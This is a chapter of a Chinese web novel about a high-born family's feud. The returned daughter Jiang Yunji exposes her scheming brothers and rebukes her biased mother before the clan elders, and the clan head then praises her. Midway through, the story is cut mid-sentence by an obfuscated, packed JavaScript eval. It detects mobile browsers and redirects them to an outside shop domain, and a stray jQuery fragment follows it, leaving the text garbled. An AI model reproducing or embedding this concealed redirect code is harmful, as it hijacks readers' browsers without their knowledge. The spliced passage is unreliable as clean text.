丫鬟们出来指证,以及言行前后相同,这下就算姜风年和姜风明再会诡辩,王氏再如何维护,都改变不了既定事实。
姜风年和姜风明从小到大从没体会过这种被种人审视,鄙夷的眼神。
族老们,姜家嫡系亲朋纷纷用看着垃圾的眼神看着他们。
姜风年摇着头,像是被刺激的失了魂,声音呢喃着,“不,不,不,不该是这样的,不该是这样的……”
最终,经受不住刺激,两眼一翻,晕了过去。
姜风明则是脆弱更多,从刚才清醒后,就一直晕了醒,醒了晕,不敢相信他和大哥准备算计在姜云姬这个贱人身上的手段竟然在他们自己身上应验。
不敢相信被众人围观,谴责竟然是这么一件痛苦的事情。
明明之前他和大哥一直以这样玩弄别人为乐,可自己成了被玩弄观赏的人之后,原来这么痛苦,恨不得去死。
姜风明同样两眼一翻晕了过去。
对今天发生的一切都难以承受。
见两个宝贝儿子晕倒,王氏尖叫一声扑上去心疼扑在两人身上,试图阻挡那些视线。
过了片刻,愣住的姜清清才终于回神,紧张的咽了咽口水,不知道向来无往不利的内宅陷害手段怎么到了姜云姬这里就不好用了,姜风年和姜风明这两个趁手的工具还被害成这样。
但她知道,眼下不是想这些的时候。
她该趁机关心王氏,不然在众人面前她和大哥三弟关系好的善良形象可就全毁了。
迈着步子,红着眼眶,袅娜上前,轻轻拍着王氏的后背,“娘,您别哭坏了眼睛,伤了身体,大哥哥和三弟弟还得您撑着呢,您…啊!!”
不等姜清清说完,王氏突然暴起,用尽全身力气一把推开姜清清,姜清清没有防备,被重重推倒在地,娇嫩的手掌擦在地上划出一道血痕。
从小到大她哪里受过这样的伤,顿时,眼眶更红了。
王氏指着姜清清,眼睛红血丝蔓延整个眼白,“都是你,都是因为你,要不是风年和风明因为你的撺掇,哪里会去针对那个丧门星,你给我滚,你离我远点,我把你放在心尖上疼了十几年,就算亲生女儿找回来,我也不曾薄待你,你怎么忍心,怎么忍心让风年和风明替你冲锋陷阵,如今变成现在这般模样,呜呜呜,你怎么忍心啊!!!”
姜清清抬头看王氏。
果然,不是亲生的就是不行,关键时刻,还是偏心自己的两个儿子,之前说好的心疼她呢,都是假的!!
王氏不知道姜清清心里生出了怨怼,转头又看向站在族长身后淡然的姜云姬。
“还有你,我怎么会接你这么个丧门星回家,你怎么不死在外面,你为什么要是我的亲生女儿,你没回来的时候,家里是多么完美,你一回来,就打破了一切,你怎么不去死,连自己的亲生兄弟都能陷害,你会被天打雷劈死的!!”
王氏对姜清清只是埋怨加迁怒,可那眼神里并没怨恨,可对姜云姬这个亲生女儿,反倒相识看着仇人一般。
姜定看了看众多族老,又看了一眼王氏,眼前一黑又一黑,恨不得自己也晕过去算了。
刚要上前去捂住王氏的嘴,就见姜云姬站出来。
居高临下看着王氏,勾唇道,“我倒也不像是你的亲生女儿,有这样的娘,还不如出生的时候就死了来的痛快。”
此话一出,现场皆惊。
要知道虽然本朝并不迂腐到孝道就能压死人,但孝道也是评价一个人很重要的点。
但凡在乎面子和名声的,哪怕父母无德,在外人面前也会装出一番孝顺。
着实没有人像姜云姬一样这么勇的。
就连见多识广,自认遇到任何事情都能心如止水,面不改色的族长也忍不住嘴角一抽。
王氏同样愣住,“你,你说什么?”
姜云姬再次上前一步,蹲下直视王氏的眼睛,“我说,如果当初知道是你的女儿,还不如出生就死了来的痛快,也好过有你这样无德又偏心眼的娘。”
王氏嘴唇颤抖,说不出话。
姜云姬没理会她,环顾周围,“说起来,姜风年和姜风明还真是自食恶果呢,我在侯府这几天也听说了不少事,这个院子是你们一开始准备给我住的。”
说着,嗤笑一声,“这个院子都不如马奴住的好,你们居然要给我住,还是姜风年和姜风明提议,你点头同意的,你说说你,哪里配当一个母亲,我怎么说也是你亲生,你不心疼我被恶意替换,那对恶毒夫妻虐打我多年,反倒比那对夫妻都恶毒,你说说啊,我认你当娘有用吗?”
从没有人跟王氏说过这样重的话。
一直自诩温柔善良的王氏底色就这么猝不及防在众人面前被扒个干净,或许她自己都没意识到自己是偏心的。
当然,或许她也意识到了,只是一直不肯承认而已。
抬起猩红的眼睛看着自己十月怀胎却被替换的女儿,王氏张了张嘴,最终什么都没说出口,晕了过去。
姜云姬起身,无视身后族老震惊的视线。
看向愣住的姜定,“爹,还不叫府医吗?”
姜定看着自己这个从最开始就不太重视的女儿,想到她刚才的话,以及这个荒废的破旧院子竟然是最开始分给她住的吗。
姜定恍惚,麻木的让小厮去叫府医。
姜清清就像是空气一样被人忽略,就那么坐在地上,没人看一眼。
就连往日心疼关心她的二婶三婶,表弟表妹们也都纷纷围上姜云姬身边,担忧关心,完全将她忽略。
二婶沈流云性格一向温柔,此时一下子不知道说些说什么才好,只用心疼的目光看着姜云姬。
她着实没想到大哥大嫂居然这么糊涂,老天垂怜才能找回来的亲生女儿,竟然最开始让住这样的院子。
她以前只知道大嫂这人拎不清,从没想到居然在亲生女儿这件事上也这么糊涂。
姜清清占据了云姬身份这么多年,一个加害者的孩子享受了这么多年的好日子,云姬则是被她的爹娘虐待在,这简直就是深仇大恨,不说弄死,也该赶出侯府去。
不能让她在云姬面前晃悠,这不是故意膈应人吗。
大哥大嫂不将人赶走,也该让其明白自己的身份,告知风年和风明,搞清楚这些,也不会闹出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757730|208644||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
今天这样的丑事来。
身为亲生哥哥弟弟竟然欲用这种腌臜手段陷害,简直…简直禽兽不如。
三婶宁无梅从刚才姜云姬拿出证据后就想出头替姜云姬说话,要不是沈流云拉着,她定要把姜定和王氏这对糊涂夫妻骂个狗血喷头。
宁无梅气的头顶冒烟,“你说说你,拦着我干啥,就该好好骂骂那王氏和姜定,自己亲生女儿在外面受苦多年不疼,反倒疼仇人的女儿,咋滴,他们俩这辈子却闺女疼啊,真是脑子不清醒,还有那姜风年和姜风明都被教成什么东西了。”
“就这样,王氏还跳来跳去的为姜风年争世子之位呢,要是姜家用这样一个东西当世子,日后还要继承侯爵,那还不如趁早分家,亲去圣上面前断绝关系,免得以后被这黑心肝的恶毒蠢货连累死!!”
宁无梅性格豪爽,刚才要不是沈流云拉着,她早就上去狂喷姜定和王氏了。
越想越生气。
看姜云姬也就越心疼。
这样好的闺女,咋就不是她的,刚才那一番话,说的着实漂亮,丝毫不怯场,比那装模作样的姜清清强岂止百倍。
感受到两人是真的心疼自己,姜云姬笑的乖巧,“二婶,三婶,我没事的,你们不用替我担心,这么多年我都挺过来了,以后会更好的。”
这么懂事。
两人又心疼的多了些。
*
今天这场开祠堂,上族谱当真是好大一出戏。
族老们严肃来,意犹未尽走。
很明显,姜家这场大戏足够他们回味好久。
姜风年和姜风明以及王氏也都被姜定安排的人抬走,府医紧随其后。
不出两刻钟,破旧院子就安静下来。
只有族长和姜云姬,妘柔三人在这里。
不远处族长的侍卫严格把守。
人走后,姜云姬也不装了,伪装的委屈和懵懂褪去,只余一片淡然。
她知道装也没用,族长肯定早就发现这一切也有她的推波助澜。
她的手看似干净,实则瞒不住老族长。
就在她以为老族长会警告她一番的时候。
族长哈哈笑出声,声音虽然苍老却浑厚有力,满是多年浸淫的平稳和强大。
族长只说,“没想到啊,老夫本以为姜家即将没落,无人能承侯爵之位,无人能担起姜家之责,可…更加没想到的是,姜家倒是还出了个人物,哈哈哈,老夫有生之年说不定可以看到姜家比以往更加辉煌。”
背对着姜云姬,族长并没有回头。
便要离开。
看着族长的背影,姜云姬问,“族长不气我不顾姜家体面?”
老族长脚步顿住,同样没有回头,白发苍苍,却犹如泰山,回答,“一个家族不是靠藏污纳垢就能起来的,而是掌权人能下狠心切割残枝败柳,家族这颗参天大树才能屹立不倒,愈发茂盛。”
“你,不错。”
老族长一边走,只留给姜云姬一个背影,“你且走着,老夫看着,今天给你留句话,若是你能带着姜家更上一层楼,老夫扶你做家主!!!姜家从上到下,听你号令!!!”